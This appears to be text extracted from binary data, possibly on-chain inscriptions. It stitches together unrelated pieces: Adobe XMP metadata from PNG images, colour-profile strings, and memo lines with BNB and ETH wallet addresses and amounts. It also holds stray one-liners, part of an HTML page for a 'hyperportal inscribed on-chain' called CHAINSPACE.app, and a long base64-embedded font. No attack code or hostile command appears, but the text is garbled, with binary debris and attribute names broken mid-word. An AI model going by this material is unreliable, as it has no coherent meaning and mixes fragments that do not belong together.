" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 137.da4a7e5, 2022/11/27-09:35:03        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM
/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)" xmp:CreateDate="2023-02-07T11:49:02-05:00" xmp:ModifyDate="2023-02-13T11:46:21-05:00" xmp:MetadataDate="2023-02-13T11:46:21-05:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:acc80594-08ee-b144-b35f-65a35987ea42" xmpMM:DocuM
mentID="adobe:docid:photoshop:43f76087-c0cc-4d48-80ec-50b310cafc27" xmpMM:OriginalDocumentID="xmp.did:4e4a0734-9223-f946-9fd5-65134fffe61f" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" exif:ColorSpace="1" exif:PixelXDimension="1000" exif:PixelYDimension="1000"> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>95A1071E0679CB6B2641CB48873B0063</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEM
vt:instanceID="xmp.iid:4e4a0734-9223-f946-9fd5-65134fffe61f" stEvt:when="2023-02-07T11:49:02-05:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:afff7149-df0b-a447-a934-cf7aead3eee6" stEvt:when="2023-02-08T03:15:39-05:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:33ebf881-a17a-1e46-b326-489448acbb57" stEvt:when="2023-02-13T11:46:21-05:00" stEvt:softwareAgent="Adobe PM
hotoshop 24.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/png"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/png"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:acc80594-08ee-b144-b35f-65a35987ea42" stEvt:when="2023-02-13T11:46:21-05:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:iM
nstanceID="xmp.iid:33ebf881-a17a-1e46-b326-489448acbb57" stRef:documentID="xmp.did:4e4a0734-9223-f946-9fd5-65134fffe61f" stRef:originalDocumentID="xmp.did:4e4a0734-9223-f946-9fd5-65134fffe61f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>dp
text/plain;charset=utf-8
Bj@=:BNB.BNB:bnb10l99ml7cuaqwrlu8qxg6nsspyyf2t3ne8jlhdk:23640048::0
Bj@=:BNB.BNB:bnb1thrcsmurya8x7whw46juu5w8z8zq55g6grds9t:10460131::0
KjI=:BNB.BUSD-BD1:bnb1qqeu72wnj3g6rw4qp0q0uxawpa82prfc6dcsy5:290979723456::0
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
MjK=:BNB.BUSD-BD1:bnb1xryptcswk83fcc6n3saxsgtkpprt2l64zvyu4a:170947586025:t:30
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
/Now I am become Death, the destroyer of worlds
qhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="B0DM
C1B48D2132318F9388E99EBDC7C7A" xmpMM:DocumentID="xmp.did:59990AA1ABC511ED84A88CF224A3617E" xmpMM:InstanceID="xmp.iid:59990AA0ABC511ED84A88CF224A3617E" xmp:CreatorTool="Adobe Photoshop 2022 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0f3ce273-ae73-b046-9af5-9d5b6d8715c3" stRef:documentID="xmp.did:0f3ce273-ae73-b046-9af5-9d5b6d8715c3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFM
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
Aj?=:ETH.ETH:0x00e19b3865E5F4Ae5cbeDB82Bc1815551F19C2a0:6668727::0
Bj@=:ETH.ETH:0xbCA2010bFde7e4E38f7C615F02A14848B77170be:41434561::0
((((((((((((((((((((((((((((((((((((((((((((((((((
@j>=:ETH.ETH:0x702A67d61f89911aDf47A62aa44b59c36eAFe60d:3868:te:0
Bj@=:BNB.BNB:bnb160qa6ejwdsxp3hnrr76993yqlktd6yc52u2x6f:408530:te:0
CjA=:BNB.BNB:bnb1v8aewa8arxukxemztvqpkkxmzgcafn4jjrsart:3073586:te:0
DjB=:BNB.BNB:bnb1dy34crysgdv4r5j4mzvrzqcmtwmht5j6c9epgt:25628136:te:0
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
((((((((((((((((((((((((((((((((((((((((((((((((((
&iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 23.5 (WindowsM
)" xmpMM:InstanceID="xmp.iid:95E21D6AABC811ED9434E2D6C5DA9F0E" xmpMM:DocumentID="xmp.did:95E21D6BABC811ED9434E2D6C5DA9F0E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:95E21D68ABC811ED9434E2D6C5DA9F0E" stRef:documentID="xmp.did:95E21D69ABC811ED9434E2D6C5DA9F0E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
print("hello, world")
FjDOUT:5EEAA563E85DFAB3FA195DC91652AE43E487671E734F9A8EF2B63A8C31BA026A
FjDOUT:A8C5BF2D411ACCC20DB216DBEE1FF4DA35C9EB7BA466406945D21EBF9A3218DC
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
qhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6DCM
9BDBA922E393233C8B97BEEF338FB" xmpMM:DocumentID="xmp.did:6278584DABC511ED8818C5ABECE4F872" xmpMM:InstanceID="xmp.iid:6278584CABC511ED8818C5ABECE4F872" xmp:CreatorTool="Adobe Photoshop 2022 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0143f991-3d45-7e44-b987-9a6aa3ad393c" stRef:documentID="xmp.did:0143f991-3d45-7e44-b987-9a6aa3ad393c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFM
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
&iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 23.5 (WindowsM
)" xmpMM:InstanceID="xmp.iid:9B949E50ABC811ED940C82613A48E4E6" xmpMM:DocumentID="xmp.did:9B949E51ABC811ED940C82613A48E4E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9B949E4EABC811ED940C82613A48E4E6" stRef:documentID="xmp.did:9B949E4FABC811ED940C82613A48E4E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  * wave by Greta Gremplin
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
